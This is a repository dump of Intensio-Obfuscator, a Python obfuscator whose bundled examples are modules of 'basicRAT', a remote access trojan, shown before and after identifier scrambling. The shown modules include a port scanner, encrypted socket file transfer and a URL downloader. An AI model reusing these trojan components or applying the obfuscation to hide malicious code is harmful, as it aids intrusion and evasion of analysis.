├── requirements.txt
├── src
└── intensio_obfuscator
│ ├── obfuscation_examples
│ └── python
│ │ ├── basic
│ │ ├── input
│ │ │ └── basicRAT-example
│ │ │ │ ├── core
│ │ │ │ ├── __init__.py
│ │ │ │ ├── common.py
│ │ │ │ ├── scan.py
│ │ │ │ ├── filesock.py
│ │ │ │ ├── toolkit.py
│ │ │ │ ├── persistence.py
│ │ │ │ ├── survey.py
│ │ │ │ └── crypto.py
│ │ │ │ ├── UNLICENSE
│ │ │ │ ├── README.md
│ │ │ │ ├── basicRAT_client.py
│ │ │ │ └── basicRAT_server.py
│ │ └── output
│ │ │ └── basicRAT-example
│ │ │ ├── core
│ │ │ ├── __init__.py
│ │ │ ├── common.py
│ │ │ ├── scan.py
│ │ │ ├── toolkit.py
│ │ │ ├── filesock.py
│ │ │ ├── persistence.py
│ │ │ ├── survey.py
│ │ │ └── crypto.py
│ │ │ ├── UNLICENSE
│ │ │ ├── README.md
│ │ │ ├── basicRAT_client.py
│ │ │ └── basicRAT_server.py
│ │ ├── advanced
│ │ ├── input
│ │ │ └── basicRAT-example
│ │ │ │ ├── core
│ │ │ │ ├── __init__.py
│ │ │ │ ├── common.py
│ │ │ │ ├── scan.py
│ │ │ │ ├── filesock.py
│ │ │ │ ├── toolkit.py
│ │ │ │ ├── persistence.py
│ │ │ │ ├── survey.py
│ │ │ │ └── crypto.py
│ │ │ │ ├── UNLICENSE
│ │ │ │ ├── README.md
│ │ │ │ ├── basicRAT_client.py
│ │ │ │ └── basicRAT_server.py
│ │ └── output
│ │ │ └── basicRAT-example
│ │ │ ├── core
│ │ │ └── __init__.py
│ │ │ ├── UNLICENSE
│ │ │ └── README.md
│ │ └── intermediate
│ │ ├── input
│ │ └── basicRAT-example
│ │ │ ├── core
│ │ │ ├── __init__.py
│ │ │ ├── common.py
│ │ │ ├── scan.py
│ │ │ ├── filesock.py
│ │ │ ├── toolkit.py
│ │ │ ├── persistence.py
│ │ │ ├── survey.py
│ │ │ └── crypto.py
│ │ │ ├── UNLICENSE
│ │ │ ├── README.md
│ │ │ ├── basicRAT_client.py
│ │ │ └── basicRAT_server.py
│ │ └── output
│ │ └── basicRAT-example
│ │ ├── core
│ │ ├── __init__.py
│ │ ├── kIuOkiFSOLxgdKOJLMYXztjXcYjNwvMHGYkIayImHgdybLQTcxzURqMbgoYTlVKp.py
│ │ ├── NRcysGFxRFRsXZvbyWkZoqxIDlQTnxYEaxFUfeWzefrxDUgMwwCNZBoNtZSmbYDF.py
│ │ └── KqiphPCvniiuOipHMwvOdVevGiSMNMiyuNIettjICOkFKMmuFDrIYVUbEhdJJDJA.py
│ │ ├── UNLICENSE
│ │ └── README.md
│ ├── __init__.py
│ ├── core
│ ├── utils
│ │ ├── __init__.py
│ │ ├── intensio_design.py
│ │ ├── intensio_usage.py
│ │ └── intensio_utils.py
│ └── obfuscation
│ │ ├── __init__.py
│ │ ├── intensio_mixer.py
│ │ └── intensio_analyze.py
│ └── exclude_examples
│ ├── exclude_files_name_by_user.txt
│ └── exclude_words_by_user.txt
├── tests
└── __init__.py
├── MANIFEST.in
├── docs
├── actions
│ └── actions_by_users.md
├── steps_usage
│ └── python_steps_usage.md
├── malfunctions
│ └── python_code_malfunctions.md
├── examples
│ └── python_code_examples.md
└── recommendations
│ └── python_code_recommendations.md
├── ISSUE_TEMPLATE.md
├── LICENSE.txt
├── setup.py
├── pypi_README.md
├── .gitignore
├── README.md
└── CHANGELOG.md
/requirements.txt:
--------------------------------------------------------------------------------
1 | progress >= 1.5
2 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/core/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/core/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/tests/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # https://github.com/Hnfull/Intensio-Obfuscator
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/core/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/output/basicRAT-example/core/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/core/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/output/basicRAT-example/core/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # https://github.com/Hnfull/Intensio-Obfuscator
--------------------------------------------------------------------------------
/src/intensio_obfuscator/core/utils/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # https://github.com/Hnfull/Intensio-Obfuscator
--------------------------------------------------------------------------------
/src/intensio_obfuscator/core/obfuscation/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # https://github.com/Hnfull/Intensio-Obfuscator
--------------------------------------------------------------------------------
/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include README.md
2 | include pypi_README.md
3 | include LICENSE.txt
4 | include requirements.txt
5 | recursive-include src/ *
6 | recursive-exclude tests *
--------------------------------------------------------------------------------
/src/intensio_obfuscator/exclude_examples/exclude_files_name_by_user.txt:
--------------------------------------------------------------------------------
1 | # put their file names to exclude, only file name whitout '.py' #
2 | yourFileName1
3 | yourFileName2
4 | yourFileName3
5 |
--------------------------------------------------------------------------------
/docs/actions/actions_by_users.md:
--------------------------------------------------------------------------------
1 | # Actions can be performed by users
2 |
3 | - Exclude `variables/classes/functions/strings/parameter-of-function` from [words exclusion](../../intensio/exclude/string_to_string_mixed/exclude_word_by_user.txt)
4 | - Exclude `file name` from [file names exclusion](../../intensio/exclude/file_name/exclude_file_name_by_user.txt)
--------------------------------------------------------------------------------
/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
1 | # Bug
2 | ### Description
3 | - Description of bug
4 |
5 | ### Command(s)
6 | - Puts the parameters placed with Intensio-Obfuscator
7 |
8 | ### Example(s)
9 | - Input file (source file)
10 | - Output file (obfuscated file)
11 | - Describe the normally expected behavior (optionnal)
12 |
13 | # Feature
14 | ### Description
15 | - Description of functionality
16 |
17 | ### Example(s)
18 | - Input example
19 | - Output example (optionnal)
--------------------------------------------------------------------------------
/src/intensio_obfuscator/exclude_examples/exclude_words_by_user.txt:
--------------------------------------------------------------------------------
1 | # Basic-Rat is an example in Intensio-Obfuscator/intensio/examples/python/* #
2 |
3 | # glob
4 | recursive
5 |
6 | # fileinput
7 | inplace
8 |
9 | # tqdm lib
10 | total
11 |
12 | # argparse lib
13 | argparse
14 | default
15 | description
16 | help
17 | action
18 |
19 | # subprocess lib
20 | shell
21 | stderr
22 | stdout
23 | stdin
24 |
25 | # platform lib
26 | platform
27 | processor
28 | architecture
29 |
30 | # End section basic-Rat example in Intensio-Obfuscator/intensio/examples/python/* #
31 |
32 |
33 | # put your vars-classes-funcs-strings to exclude and delete part of basic-RAT example above #
34 | yourVar1
35 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/core/common.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
4 |
5 | # Convert an interger into a series of bytes
6 | # A lightweight replacement for struck.pack()
7 | def bytestring_to_int(bytes):
8 | i = 0
9 | while bytes:
10 | i = i << 8
11 | i += ord(bytes[-1])
12 | bytes = bytes[:-1]
13 | return i
14 |
15 | # Convert a series of bytes into an integer
16 | # A lightweight replacement for struck.unpack()
17 | def int_to_bytestring(i):
18 | bs = ''
19 | while i:
20 | bs += chr(i & 0xff)
21 | i = i >> 8
22 | return bs
23 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/core/common.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
4 |
5 | # Convert an interger into a series of bytes
6 | # A lightweight replacement for struck.pack()
7 | def bytestring_to_int(bytes):
8 | i = 0
9 | while bytes:
10 | i = i << 8
11 | i += ord(bytes[-1])
12 | bytes = bytes[:-1]
13 | return i
14 |
15 | # Convert a series of bytes into an integer
16 | # A lightweight replacement for struck.unpack()
17 | def int_to_bytestring(i):
18 | bs = ''
19 | while i:
20 | bs += chr(i & 0xff)
21 | i = i >> 8
22 | return bs
23 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/core/common.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
4 |
5 | # Convert an interger into a series of bytes
6 | # A lightweight replacement for struck.pack()
7 | def bytestring_to_int(bytes):
8 | i = 0
9 | while bytes:
10 | i = i << 8
11 | i += ord(bytes[-1])
12 | bytes = bytes[:-1]
13 | return i
14 |
15 | # Convert a series of bytes into an integer
16 | # A lightweight replacement for struck.unpack()
17 | def int_to_bytestring(i):
18 | bs = ''
19 | while i:
20 | bs += chr(i & 0xff)
21 | i = i >> 8
22 | return bs
23 |
--------------------------------------------------------------------------------
/docs/steps_usage/python_steps_usage.md:
--------------------------------------------------------------------------------
1 | # Steps usage
2 |
3 | 1) Put your source code in directory dedicated at your project (directory source will scanned and obfuscated recursively)
4 | 2) Create empty directory for output code obfuscated
5 | 3) Read actions that can be performed by users [actions by users](../../docs/actions/actions_by_users.md)
6 | 4) Read all the practices of coding that be ought respect absolutely [required code format](../../docs/recommendations/python_code_recommendations.md)
7 | 5) Modify your source code if it's necessary after have reading [required code format](../../docs/recommendations/python_code_recommendations.md)
8 | 6) Read [malfunctions](../../docs/malfunctions/python_code_malfunctions.md) to be informed
9 | 7) Obfuscate your code ! commands explained in [README](../../README.md)
10 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/core/common.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | def sDbdGVTmnYPISKJkENqYvrbalANhLchN(bytes):
3 | tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ = 0
4 | while bytes:
5 | tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ = tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ << 8
6 | tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ += ord(bytes[-1])
7 | bytes = bytes[:-1]
8 | return tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ
9 | def DKoAKXcLBxaCwnVTbPAvLSNDpZiNHsFA(tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ):
10 | IcVzPJDfYVsFBnElsTyTCEBzgOsgSIrM = ''
11 | while tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ:
12 | IcVzPJDfYVsFBnElsTyTCEBzgOsgSIrM += chr(tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ & 0xff)
13 | tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ = tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ >> 8
14 | return IcVzPJDfYVsFBnElsTyTCEBzgOsgSIrM
15 |
--------------------------------------------------------------------------------
/LICENSE.txt:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 Hnfull
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/core/scan.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import socket
3 | GOvcnVKDLMrnefakXmwjdWvNTmvmBaiz = [
4 | 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 179, 443, 445,
5 | 514, 993, 995, 1723, 3306, 3389, 5900, 8000, 8080, 8443, 8888
6 | ]
7 | def kXXXRVfuUYZNQGSSpKiUekvTkBCiaQQG(ip):
8 | try:
9 | socket.inet_aton(ip)
10 | except socket.error:
11 | return 'Error: Invalid IP address.'
12 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl = ''
13 | for qfLIwRNXQkYEhoERneZekXhtNSjaWdNN in GOvcnVKDLMrnefakXmwjdWvNTmvmBaiz:
14 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
15 | KEcIztUGTeqTubwElcPWynqNSRjuxAhL = hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.connect_ex((ip, qfLIwRNXQkYEhoERneZekXhtNSjaWdNN))
16 | socket.setdefaulttimeout(0.5)
17 | cNRnqsGJiIXQNXmzxYYnetBlzAgytCpA = 'open' if not KEcIztUGTeqTubwElcPWynqNSRjuxAhL else 'closed'
18 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl += '{:>5}/tcp {:>7}\n'.format(qfLIwRNXQkYEhoERneZekXhtNSjaWdNN, cNRnqsGJiIXQNXmzxYYnetBlzAgytCpA)
19 | return IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl.rstrip()
20 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/core/scan.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import socket
6 |
7 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
8 |
9 | PORTS = [ 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 179, 443, 445,
10 | 514, 993, 995, 1723, 3306, 3389, 5900, 8000, 8080, 8443, 8888 ]
11 |
12 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
13 |
14 | def single_host(ip):
15 | try:
16 | socket.inet_aton(ip)
17 | except socket.error:
18 | return 'Error: Invalid IP address.'
19 |
20 | results = ''
21 |
22 | for p in PORTS:
23 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24 | c = s.connect_ex((ip, p))
25 | socket.setdefaulttimeout(0.5)
26 |
27 | state = 'open' if not c else 'closed'
28 |
29 | results += '{:>5}/tcp {:>7}\n'.format(p, state)
30 |
31 | return results.rstrip()
32 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/core/scan.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import socket
6 |
7 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
8 |
9 | PORTS = [
10 | 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 179, 443, 445,
11 | 514, 993, 995, 1723, 3306, 3389, 5900, 8000, 8080, 8443, 8888
12 | ]
13 |
14 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
15 |
16 | def single_host(ip):
17 | try:
18 | socket.inet_aton(ip)
19 | except socket.error:
20 | return 'Error: Invalid IP address.'
21 |
22 | results = ''
23 |
24 | for p in PORTS:
25 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
26 | c = s.connect_ex((ip, p))
27 | socket.setdefaulttimeout(0.5)
28 |
29 | state = 'open' if not c else 'closed'
30 |
31 | results += '{:>5}/tcp {:>7}\n'.format(p, state)
32 |
33 | return results.rstrip()
34 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/core/scan.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import socket
6 |
7 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
8 |
9 | PORTS = [
10 | 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 179, 443, 445,
11 | 514, 993, 995, 1723, 3306, 3389, 5900, 8000, 8080, 8443, 8888
12 | ]
13 |
14 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
15 |
16 | def single_host(ip):
17 | try:
18 | socket.inet_aton(ip)
19 | except socket.error:
20 | return 'Error: Invalid IP address.'
21 |
22 | results = ''
23 |
24 | for p in PORTS:
25 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
26 | c = s.connect_ex((ip, p))
27 | socket.setdefaulttimeout(0.5)
28 |
29 | state = 'open' if not c else 'closed'
30 |
31 | results += '{:>5}/tcp {:>7}\n'.format(p, state)
32 |
33 | return results.rstrip()
34 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/core/filesock.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import socket
6 | import struct
7 |
8 | from crypto import AES_encrypt
9 | from crypto import AES_decrypt
10 |
11 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
12 |
13 | # recieve a file from a socket
14 | def recvfile(sock, fname, key):
15 | with open(fname, 'wb') as f:
16 | datasize = struct.unpack("!I", sock.recv(4))[0]
17 | while datasize:
18 | res = sock.recv(datasize)
19 | f.write(AES_decrypt(res, key))
20 | datasize = struct.unpack("!I", sock.recv(4))[0]
21 |
22 | # send a file over a socket
23 | def sendfile(sock, fname, key):
24 | with open(fname, 'rb') as f:
25 | res = f.read(4096)
26 | while len(res):
27 | enc_res = AES_encrypt(res, key)
28 | sock.send(struct.pack("!I", len(enc_res)))
29 | sock.send(enc_res)
30 | res = f.read(4096)
31 | sock.send('\x00\x00\x00\x00') # EOF
32 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/core/filesock.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import socket
6 | import struct
7 |
8 | from crypto import AES_encrypt
9 | from crypto import AES_decrypt
10 |
11 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
12 |
13 | # recieve a file from a socket
14 | def recvfile(sock, fname, key):
15 | with open(fname, 'wb') as f:
16 | datasize = struct.unpack("!I", sock.recv(4))[0]
17 | while datasize:
18 | res = sock.recv(datasize)
19 | f.write(AES_decrypt(res, key))
20 | datasize = struct.unpack("!I", sock.recv(4))[0]
21 |
22 | # send a file over a socket
23 | def sendfile(sock, fname, key):
24 | with open(fname, 'rb') as f:
25 | res = f.read(4096)
26 | while len(res):
27 | enc_res = AES_encrypt(res, key)
28 | sock.send(struct.pack("!I", len(enc_res)))
29 | sock.send(enc_res)
30 | res = f.read(4096)
31 | sock.send('\x00\x00\x00\x00') # EOF
32 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/core/filesock.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import socket
6 | import struct
7 |
8 | from crypto import AES_encrypt
9 | from crypto import AES_decrypt
10 |
11 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
12 |
13 | # recieve a file from a socket
14 | def recvfile(sock, fname, key):
15 | with open(fname, 'wb') as f:
16 | datasize = struct.unpack("!I", sock.recv(4))[0]
17 | while datasize:
18 | res = sock.recv(datasize)
19 | f.write(AES_decrypt(res, key))
20 | datasize = struct.unpack("!I", sock.recv(4))[0]
21 |
22 | # send a file over a socket
23 | def sendfile(sock, fname, key):
24 | with open(fname, 'rb') as f:
25 | res = f.read(4096)
26 | while len(res):
27 | enc_res = AES_encrypt(res, key)
28 | sock.send(struct.pack("!I", len(enc_res)))
29 | sock.send(enc_res)
30 | res = f.read(4096)
31 | sock.send('\x00\x00\x00\x00') # EOF
32 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/core/toolkit.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import datetime
3 | import os
4 | import urllib
5 | import zipfile
6 | def BCKwnkdhaeEKirDhgeLvQLbhwrLlyeGW(f):
7 | if os.path.isfile(f):
8 | try:
9 | with zipfile.ZipFile(f) as zf:
10 | zf.extractall('.')
11 | return 'File {} extracted.'.format(f)
12 | except zipfile.BadZipfile:
13 | return 'Error: Failed to unzip file.'
14 | else:
15 | return 'Error: File not found.'
16 | def heKCnAtKSPPzAttcFMAgPDiEOYCKLulX(cUxqDMTIZwVlTWebtlAhvJRWpxkRxQBs):
17 | if not cUxqDMTIZwVlTWebtlAhvJRWpxkRxQBs.startswith('http'):
18 | return 'Error: URL must begin with http:// or https:// .'
19 | UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl = cUxqDMTIZwVlTWebtlAhvJRWpxkRxQBs.split('/')[-1]
20 | if not UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl:
21 | UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl = 'file-'.format(str(datetime.datetime.now()).replace(' ', '-'))
22 | try:
23 | urllib.urlretrieve(cUxqDMTIZwVlTWebtlAhvJRWpxkRxQBs, UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl)
24 | except IOError:
25 | return 'Error: Download failed.'
26 | return 'File {} downloaded.'.format(UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl)
27 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/core/toolkit.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import datetime
6 | import os
7 | import urllib
8 | import zipfile
9 |
10 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
11 |
12 | def unzip(f):
13 | if os.path.isfile(f):
14 | try:
15 | with zipfile.ZipFile(f) as zf:
16 | zf.extractall('.')
17 | return 'File {} extracted.'.format(f)
18 | except zipfile.BadZipfile:
19 | return 'Error: Failed to unzip file.'
20 | else:
21 | return 'Error: File not found.'
22 |
23 | def wget(url):
24 | if not url.startswith('http'):
25 | return 'Error: URL must begin with http:// or https:// .'
26 |
27 | fname = url.split('/')[-1]
28 | if not fname:
29 | fname = 'file-'.format(str(datetime.datetime.now()).replace(' ', '-'))
30 |
31 | try:
32 | urllib.urlretrieve(url, fname)
33 | except IOError:
34 | return 'Error: Download failed.'
35 |
36 | return 'File {} downloaded.'.format(fname)
37 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/core/toolkit.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import datetime
6 | import os
7 | import urllib
8 | import zipfile
9 |
10 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
11 |
12 | def unzip(f):
13 | if os.path.isfile(f):
14 | try:
15 | with zipfile.ZipFile(f) as zf:
16 | zf.extractall('.')
17 | return 'File {} extracted.'.format(f)
18 | except zipfile.BadZipfile:
19 | return 'Error: Failed to unzip file.'
20 | else:
21 | return 'Error: File not found.'
22 |
23 | def wget(url):
24 | if not url.startswith('http'):
25 | return 'Error: URL must begin with http:// or https:// .'
26 |
27 | fname = url.split('/')[-1]
28 | if not fname:
29 | fname = 'file-'.format(str(datetime.datetime.now()).replace(' ', '-'))
30 |
31 | try:
32 | urllib.urlretrieve(url, fname)
33 | except IOError:
34 | return 'Error: Download failed.'
35 |
36 | return 'File {} downloaded.'.format(fname)
37 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/core/obfuscation/intensio_mixer.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # https://github.com/Hnfull/Intensio-Obfuscator
4 |
5 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
6 |
7 | import random
8 | import string
9 |
10 | #------------------------------------------------- [Function(s)/Class(es)] --------------------------------------------------#
11 |
12 | class Mixer:
13 |
14 | def __init__(self):
15 | self.lengthLower = 32
16 | self.lengthMedium = 64
17 | self.lengthHigh = 128
18 |
19 |
20 | def StringGenerator(self, stringLength):
21 | randomCharsList = []
22 |
23 | for i in range(stringLength):
24 | randomCharsList.append(random.choice(string.ascii_letters))
25 | return "".join(randomCharsList)
26 |
27 |
28 | def GetStringMixer(self, mixerLengthArgDefined):
29 | if mixerLengthArgDefined == "lower":
30 | return Mixer.StringGenerator(self, self.lengthLower)
31 | elif mixerLengthArgDefined == "medium":
32 | return Mixer.StringGenerator(self, self.lengthMedium)
33 | elif mixerLengthArgDefined == "high":
34 | return Mixer.StringGenerator(self, self.lengthHigh)
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/core/toolkit.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import datetime
6 | import os
7 | import urllib
8 | import zipfile
9 |
10 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
11 |
12 | def unzip(f):
13 | if os.path.isfile(f):
14 | try:
15 | with zipfile.ZipFile(f) as zf:
16 | zf.extractall('.')
17 | return 'File {} extracted.'.format(f)
18 | except zipfile.BadZipfile:
19 | return 'Error: Failed to unzip file.'
20 | else:
21 | return 'Error: File not found.'
22 |
23 | def wget(url):
24 | if not url.startswith('http'):
25 | return 'Error: URL must begin with http:// or https:// .'
26 |
27 | fname = url.split('/')[-1]
28 | if not fname:
29 | fname = 'file-'.format(str(datetime.datetime.now()).replace(' ', '-'))
30 |
31 | try:
32 | urllib.urlretrieve(url, fname)
33 | except IOError:
34 | return 'Error: Download failed.'
35 |
36 | return 'File {} downloaded.'.format(fname)
37 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/UNLICENSE:
--------------------------------------------------------------------------------
1 | This is free and unencumbered software released into the public domain.
2 |
3 | Anyone is free to copy, modify, publish, use, compile, sell, or
4 | distribute this software, either in source code form or as a compiled
5 | binary, for any purpose, commercial or non-commercial, and by any
6 | means.
7 |
8 | In jurisdictions that recognize copyright laws, the author or authors
9 | of this software dedicate any and all copyright interest in the
10 | software to the public domain. We make this dedication for the benefit
11 | of the public at large and to the detriment of our heirs and
12 | successors. We intend this dedication to be an overt act of
13 | relinquishment in perpetuity of all present and future rights to this
14 | software under copyright law.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 |
24 | For more information, please refer to
25 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/UNLICENSE:
--------------------------------------------------------------------------------
1 | This is free and unencumbered software released into the public domain.
2 |
3 | Anyone is free to copy, modify, publish, use, compile, sell, or
4 | distribute this software, either in source code form or as a compiled
5 | binary, for any purpose, commercial or non-commercial, and by any
6 | means.
7 |
8 | In jurisdictions that recognize copyright laws, the author or authors
9 | of this software dedicate any and all copyright interest in the
10 | software to the public domain. We make this dedication for the benefit
11 | of the public at large and to the detriment of our heirs and
12 | successors. We intend this dedication to be an overt act of
13 | relinquishment in perpetuity of all present and future rights to this
14 | software under copyright law.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
